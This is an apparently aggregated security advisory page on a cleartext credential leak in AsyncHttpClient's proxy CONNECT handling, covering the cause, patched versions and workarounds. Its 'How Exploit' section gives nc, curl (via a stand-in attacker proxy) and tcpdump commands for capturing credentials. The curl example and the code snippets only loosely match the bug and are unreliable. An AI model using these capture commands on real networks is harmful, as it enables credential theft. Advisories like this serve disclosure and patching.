AsyncHttpClient (Netty), Cleartext Transmission of Sensitive Information, CVE-2026-85720 (Medium) -DC-Sep2026-2444

Listen to this Post

When an application uses an HTTP proxy to reach an HTTPS origin, the client must first establish a tunnel by sending a plaintext CONNECT request to the proxy before any TLS handshake occurs. On affected versions of AsyncHttpClient, the origin’s preemptive credentials were inadvertently added to that CONNECT request. This means that for a Basic realm, the client sent Authorization: Basic base64(user:pass) directly to the proxy in cleartext. For NTLM, SPNEGO, or Kerberos realms, the corresponding token was also attached to the CONNECT. As a result, the proxy itself, as well as any adversary capable of reading the client-to-proxy hop, could observe credentials that were intended exclusively for the origin server. The origin Basic or Digest Authorization is no longer placed on the CONNECT; instead, it is added to the tunnelled request only after the tunnel is successfully established. Similarly, the per-connection NTLM, Kerberos, and SPNEGO token is no longer attached on the tunnel path. This token never reached the origin in the first place, and the challenge flow still negotiates it inside the tunnel. The root cause lies in NettyRequestFactory, which added the origin Authorization to every request it built, including the CONNECT, and NettyRequestSender, which did the same for the per-connection NTLM or SPNEGO token in sendRequestWithNewChannel. Both components now skip the CONNECT. It is important to note that version 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Therefore, upgrading to 3.0.13 is recommended to pick up both fixes. The vulnerability was addressed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. Workarounds include avoiding the use of preemptive origin authentication together with an HTTP proxy, or reaching the origin without a CONNECT proxy.

DailyCVE Form:

Platform: AsyncHttpClient Netty
Version: 3.0.11, 2.16.0
Vulnerability: Credential leak CONNECT
Severity: Medium
date: 2026-09-17

Prediction: Not specified

What Undercode Say:

Check async-http-client version
mvn dependency:list | grep async-http-client
Vulnerable code path in NettyRequestFactory
// Adds origin Authorization to every request, including CONNECT
request.headers().add(HttpHeaderNames.AUTHORIZATION, originAuth);
Vulnerable code path in NettyRequestSender
// Attaches NTLM/SPNEGO token to CONNECT
sendRequestWithNewChannel(...) { ... }

How Exploit: (Educational Purposes!)

Attacker sets up a malicious proxy to capture credentials
nc -l -p 8080
Victim client configured to use proxy for HTTPS origin with preemptive auth
The CONNECT request will contain origin credentials in cleartext
curl -x http://attacker-proxy:8080 https://origin.example.com --proxy-header "Authorization: Basic dXNlcjpwYXNz"
Sniffing the client-to-proxy hop
tcpdump -i eth0 -A 'tcp port 8080 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x434f4e4e)'

Protection: from this CVE

Upgrade to patched versions
3.x line: 3.0.12 and later (recommend 3.0.13+)
2.x line: 2.16.1 and later
mvn versions:use-latest-versions -Dincludes=org.asynchttpclient:async-http-client
Workaround: Avoid preemptive origin authentication with HTTP proxy
Or reach origin without CONNECT proxy

Impact:

Credential exposure to proxy and network observers.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top